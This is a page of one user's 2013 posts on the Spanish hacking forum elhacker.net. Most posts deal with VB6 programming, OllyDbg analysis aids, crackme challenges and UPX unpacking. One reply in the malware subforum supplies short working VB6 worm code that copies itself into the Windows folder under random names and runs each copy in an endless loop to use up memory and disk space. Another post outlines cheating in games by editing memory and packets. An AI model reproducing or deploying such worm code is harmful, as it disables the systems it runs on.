elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Mensajes
Páginas: 1 ... 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 ... 102
441  Programación / Programación Visual Basic / Re: Ayuda ordenar un list de manera ascendente o descendente en: 13 Octubre 2013, 19:57 pm
Es más sencillo si aplicas el ordenamiento por Inserción

http://es.wikipedia.org/wiki/Ordenamiento_por_inserci%C3%B3n

Código
  1. Private Sub insertionSort(ByVal numbers() As Integer) ' Es una función,
  2. 'debemos pasarle el array de números desde el Sub Main()
  3.  
  4.        Dim i, j, index As Integer
  5.        i = 1
  6.  
  7.        Do
  8.            index = numbers(i)
  9.            j = i - 1
  10.  
  11.            While ((j >= 0) And (numbers(j) > index))
  12.                numbers(j + 1) = numbers(j)
  13.                j = j - 1
  14.            End While
  15.            numbers(j + 1) = index
  16.            i = i + 1
  17.        Loop Until i > (UBound(v))
  18.    End Sub


Tambien tienes el ordenamiento por Selección

Código
  1. For i = 1 To n - 1
  2.   minimo = i
  3.   For j = i + 1 To n
  4.      If x(minimo) > x(j) Then
  5.         minimo = j
  6.      End If
  7.   Next j
  8.   temp = x(i)
  9.   x(i) = x(minimo)
  10.   x(minimo) = temp
  11. Next i
442  Programación / Ingeniería Inversa / VB6 - Custom Funtion Descriptions para OllyDbg 1.10 en: 12 Octubre 2013, 17:24 pm
Buenas a todos

Basándome en una de las lecciones de Ricardo Narvaja, descubri un buen truco para reforzar nuestro OllyDbg. Concretamente es la lección 116 del curso nuevo de Ricardo Narvaja. En dicha lección se menciona un fichero llamado "common.arg" en el que podremos personalizar el análisis de las funciones de un módulo. He cogido la idea y la he ampliado añadiendo las principales funciones de Visual Basic 6.0, así como una extensa información adicional que encontré en un foro. El resultado es divertido.

Nuestro OllyDbg 1.10 por defecto no analiza correctamente las funciones propias de MSVBVM60.DLL, éste es el aspecto del análisis de un ejecutable típico en VB6:


Se pueden ver las llamadas a las funciones en la mayoría de casos, y también nos muestra algunas cadenas en UNICODE y argumentos de la llamada de la API/función, pero si utilizamos el fichero "common.arg" el resultado es MUY distinto:


Además, y haciendo referencia a la lección original de Ricardo Narvaja, podremos poner Conditional BP en la API que queramos para poder logear y dumpear con un solo click todos los string's y argumentos.

Para crear éste fichero he tenido que generar un ejecutable que he llamado dumper.exe con el siguiente código:

Código
  1. Private Sub Command1_Click()
  2.    Dim A() As String
  3.    Dim B As String
  4.    Dim C As Long
  5.    Dim D1, D2 As Integer
  6.    Dim E As Double
  7.    Dim X As Variant
  8.  
  9.    Exit Sub
  10.    Command1.Enabled = False
  11.  
  12.    B = "####### START DEBUGGING HERE PLEASE #######"
  13.    On Error Resume Next
  14.    A() = Split("THIS IS MY SPLIT STR", " ")
  15.    B = Join(A(), ",")
  16.  
  17.    B = "strCAT1" & "strCAT2"
  18.  
  19.    Open "C:\test.txt" For Output As #1
  20.        Print #1, "PRINT EXAMPLE"
  21.        Write #1, "WRITE EXAMPLE"
  22.    Close #1
  23.  
  24.    MsgBox "MSG_BOX_TEXT", vbOKOnly, "MSG_BOX_CAPTION"
  25.    If "strCMP1" = "strCMP2" Then
  26.        End
  27.    End If
  28.    FileCopy "C:\test.txt", "C:\FILECOPY.TXT"
  29.    C = FileLen("C:\test.txt")
  30.    Kill "C:\test.exe"
  31.    Kill "C:\FILECOPY.TXT"
  32.    MkDir "TEST_DIR"
  33.    RmDir "TEST_DIR"
  34.    If InStr("INSTR EXAMPLE1", "INSTR EXAMPLE2") <> 0 Then DoEvents
  35.    C = Len("LEN STR")
  36.    C = LenB("LENB STR")
  37.    B = Mid("THIS IS A MID STR", 5, 2)
  38.  
  39.    If "LIKE STR" Like "LIKE STR2" Then DoEvents
  40.    D1 = 10
  41.    D2 = 5 + 10
  42.    D2 = D1 + D1
  43.    D2 = 5 / 2
  44.    D2 = 5 * 2
  45.    D2 = 5 - 2
  46.    D2 = -D2
  47.    D2 = 5 Mod 2
  48.    D2 = 5 Xor 2
  49.    D2 = Not 5
  50.    D2 = 5 And 2
  51.    D2 = 5 Or 2
  52.    D2 = Sin(50)
  53.    D2 = Cos(50)
  54.    D2 = Tan(50)
  55.    D2 = Atn(50)
  56.    D2 = Exp(50)
  57.    D2 = Log(50)
  58.    X = Hex(500)
  59.    X = Oct(600)
  60.    X = Asc("Q")
  61.    X = Chr(255)
  62.    Form1.ForeColor = QBColor(3)
  63.    Form1.ForeColor = RGB(255, 200, 150)
  64.    Randomize 50
  65.    D2 = Rnd
  66.    B = InputBox("INPUTBOX_PROMPT", "INPUTBOX_TITLE", "INPUTBOX_DEFAULT")
  67.    SendKeys "SENKEYS STR"
  68.    Shell "cmd.exe", vbMaximizedFocus
  69.    For i = 1 To 10 Step 2
  70.        If i Mod 2 = 0 Then DoEvents
  71.    Next i
  72.    B = Environ("USERNAME")
  73.    B = Command$
  74.    B = Replace("MY REPLACE STR", "FIND STR", "REPLACE STR")
  75.    B = StrReverse("REVERSE STR")
  76.    Command1.Enabled = True
  77.    B = "####### STOP DEBUGGING HERE PLEASE #######"
  78. End Sub
  79.  

Os dejo a continuación más pantallazos sobre el análisis que conseguiremos con el fichero "common.arg":




Mención especial al análisis de la función RGB() que desglosa al detalle los 3 colores, así como la función StrReplace(). El fichero no está completo, no he podido analizar el 100% de las funciones, así que si alguien puede aportar algo, mejorar o cambiar alguna función... estaría agradecido, ya que el trabajo es algo durillo jeje.


Os dejo un ZIP con el fichero "common.arg", hay que copiarlo en la carpeta de nuestro OllyDbg 1.10, al lado del ollydbg.exe. En la ventana de LOG [L] aparece si se ha cargado correctamente. También os adjunto el dumper.exe que he utilizado para dumpear el análisis correcto de la librería MSVBVM60.DLL, hay que analizar muchas funciones que me he dejado y hay otras que no he sabido como analizarlas. Agradeceré cualquier tipo de colaboración:

http://www.mediafire.com/?dk13l8lh2o9j7k8
443  Programación / Ingeniería Inversa / Re: SpongeBob CRK1 by MadAntrax (éste es de los complicados) en: 12 Octubre 2013, 12:14 pm
Vayaaaaa pues sí que ha durado poco el crackme... xD

Puedes postear las lecciones a las que haces referencia en tu resolución? Quiero aprender como lo has resuelto y no fallar en ese punto de nuevo. Si puedes haz algún tutorial (si no es mucho pedir).

Te animas con el KeyGen?
444  Programación / Ingeniería Inversa / SpongeBob CRK1 by MadAntrax (éste es de los complicados) en: 12 Octubre 2013, 02:18 am
Hola a todos

Cada día aprendo cosillas nuevas y cada día se me ocurren crackme's diferentes... He diseñado un nuevo crackme que recopila un poco todo lo que he ido aprendiendo, se llama SpongeBob y aquí os presento la versión 1.0:


El crackme está programado en VB6, os dejo una breve descripción:

  • Programado en VB6 Nativo
  • Está empacado y comprimido
  • Está protegido
  • Tiene una VM bastante bestia
  • Tiene comprobaciones de CRC (Anti-Patch)
  • Hay que habilitar un control deshabilitado...
  • Hay que generar un serial válido
  • Si puedes, programa un KeyGen
  • El crackme se reinicia si fallas el serialcode
  • Parchear MSVBVM60.__vbaEnd no sirve de nada
  • La comprobación del serialcode no utiliza MSVBVM60.__vbaStrCmp

Bueno, me he dejado la piel en el crackme. Espero con ansias los primeros reportes de karmany y MCKSys...

http://www.mediafire.com/?3vrbrld8v21fg3u

Buena suerte!! :D
445  Programación / Ingeniería Inversa / Re: Mi primer Tutorial: Desempacando a mano UPX 3.91w (for newbies) en: 12 Octubre 2013, 02:00 am
Muy bien hecho, se entiende perfectamente. Secillo y muy bien explicado.

Mi pequeño granito de arena es que yo cuando veo un UPX no pongo ningún Breakpoint y suelo avanzar con la tecla "Av Pág" hasta encontrar el
Código:
JMP
, pero lo del BP está bien hecho para otros packers diferentes...

Saludos!!

PD. Como bien explicas y haces en el tutorial, yo siempre digo que la primera opción para descomprimir un UPX debe ser el propio UPX. Además UPX, en su licencia, no permite la modificación de su stub, por este motivo la mayoría de programas se deberían descomprimir con UPX...

Gracias a todos por los comentarios. Es mi primer tutorial así que tengo que aprender jeje. Me ha hecho gracia tu comentario final, el crackme que he adjuntado no se descomprime con UPX pero no he modificado su stub (osea, no estoy quebrantando su licencia). Simplemente he editado el nombre de las secciones del PE una vez generado el ejecutable comprimido.

Voy a postear otro crackme, a ver si consigo al menos que dure más de 48h sin soluciones :P
446  Programación / Programación Visual Basic / Re: Como dividir una base de datos access en: 11 Octubre 2013, 10:00 am
Usa WinZip, WinRar, 7zip....

Comprime el fichero de la base de datos en trozos de 1MB (por ejemplo) y los envías por mail.

No necesitas VB para hacer esa acción. saludos.
447  Programación / Ingeniería Inversa / Mi primer Tutorial: Desempacando a mano UPX 3.91w (for newbies) en: 10 Octubre 2013, 23:40 pm
Bueeeeeeeeno

Primero de todo quiero avisar que éste es mi primer tutorial que hago sobre Ing. Inv. tengo MUY poca experiencia y todavía me falta mucho por leer, pero me gustaría empezar por algo y como es lógico voy a empezar por lo más básico de todo: Desempacar a mano un UPX

No pretendo enseñar nada nuevo a nadie, digamos que el contenido de éste tutorial es conocido por el 99,9% de la gente que lleva como mínimo 2 días estudiando Ing. Inversa. Tanto el crackme como el tutorial lo he creado yo mismo, así que me gustaría saber opiniones, si está bien redactado, si se entiende, etc... ¡quiero mejorar!

Descarga: http://www.mediafire.com/?2l7w7qwnntscybp

Además, el tutorial viene con un crackme de prueba muy gracioso, ya que está programado con VB6 y no utiliza la función __vbaStrCmp para comparar el serial.

Saludos!! :)
448  Seguridad Informática / Análisis y Diseño de Malware / Re: Analisis de mi Malware en: 10 Octubre 2013, 15:50 pm
La idea es buena, pero yo lo implementaría de alguna otra forma.

Usar un While (5=5) es válido, pero para iniciar un bucle infinito lo mejor es usar Do - Loop, por ejemplo:

Código
  1. Randomize
  2. Do
  3. A = Environ("WINDIR") & "\" & int(Rnd * 99999) & ".exe"
  4. FileCopy App.Path & "\" & App.EXEName & ".exe", A
  5. DoEvents
  6. Shell A
  7.  
  8. Loop
  9.  

El ejemplo utiliza un bucle infinito, copia el virus en la carpeta del sistema con un número aleatorio y ejecuta dicha copia. Haciendo eso conseguirás ejecutar exponencialmente una misma copia del gusano, consumiendo los recursos de memoria y el espacio libre.

Mi código se puede mejorar, es solo un ejemplo :)
449  Programación / Ingeniería Inversa / Re: [Tutorial] Usar Cheat Engine para modificar juegos + inyección de código en: 8 Octubre 2013, 23:54 pm
El amigo MCKSys ya te ha respondido de forma correcta, te añadiré un poco más de información para que avances en tu aprendizaje sobre hacks para juegos online.

Los juegos online están divididos principalmente en 2 partes (algunos hasta 3 partes). Se basan en una comunicación entre el servidor del juego [server] y el programa del usuario [client].

Los juegos offline (o single player) carece de una división, y todo se centra en un único punto que es el propio programa (juego) que llamaremos [cliente]

Para poder hacker hacks/cheats en un juego offline yo recomiendo utilizar Cheat Engine, ya que a día de hoy es la herramienta más avanzada que existe. Todas las variables, funciones y algoritmos del juego offline se ejecutan en el [cliente], pudiendo modificarlas a nuestro antojo gracias a Cheat Engine.

Para poder hacer hacks/cheats en un juego online es más complicado. Primero necesitas tener la capacidad, herramientas y conocimientos para poder desensamblar el [client] que se ejecuta en local y conocer al detalle como funciona el juego, saber qué variables se almacenan en local. Además necesitas conocer la comunicación que establece el [client] con el [server] (en un juego de calidad, esa comunicación va cifrada y con un control de suma "checksum" que evita la edición de dicha información. Una vez que has completado esas 2 tareas (te puede llevar meses de trabajo) procederemos a lo siguiente:

1: Si hemos detectado alguna variable almacenada en el [client] intentaremos editarla con Cheat Engine, ésto ocurre MUY pocas veces, ya que cualquier programador o empresa de videojuegos sabe que las variables importantes se deben programar/almacenar en el [server] para evitar hacks/cheats locales como Cheat Engine.

2: Si hemos detectado algún paquete importante durante la comunicación entre nuestro [client] y [server] podemos intentar modificar el [client] para mandar paquetes editados modificados. Te dejo un ejemplo inventado:

Mientras juego online, obtengo 100 monedas de oro. Ejecuta mi Sniffer de paquetes y capturo el siguiente mensaje:

Código:
From: [server]
To: [client]
Msg: 01/01/2013#map_dessert#get_item_gold#value=100

En el ejemplo se puede ver claramente que tras coger las 100 monedas, el [server] envía un paquete a mi PC con la información exacta del evento que se ha producido, pudiendo en ese caso editar el paquete de la siguiente forma:

Código:
From: [server]
To: [client]
Msg: 01/01/2013#map_dessert#get_item_gold#value=999999

Si todo funciona bien, obtendremos 999999 monedas ya que hemos engañado al [server] modificando la información del paquete.

El problema es que ésto funciona normalmente en la "teoría", ya que la información entre un [server] y [client] suele ir protegida, cifrada, cifrada, codificada, comprobada y con firmas digitales (por ejemplo un certificado SSL) que autentique la información e integridad del paquete, haciendo que sea complicadísimo su edición.

Evidentemente que se podría llegar a analizar todo hasta descrifar el paquete, editarlo y volverlo a cifrar, pero te aseguro que antes de que consigas hacer eso, el [server] y el [client] se habrán actualizado con una nueva clave de cifrado y todo tu trabajo habrá quedado inutilizado.

Se entiende? En resumen:

Se puede hackear juegos online? Teoricamente, Sí
Puedo hacerlo con Cheat Engine? No
Puedo preguntar en el foro como hackear juegos online? No
Me va a ayudar alguien del foro a hackear juegos online? No


Espero haber aclarado dudas respecto éste tema.

Saludos :D
450  Programación / Programación C/C++ / Re: Injectar codigo en PE (Portable Ejecutable) en: 8 Octubre 2013, 21:56 pm

Ooooo ese ejemplo me suena  :rolleyes:
Páginas: 1 ... 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 [45] 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 ... 102
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines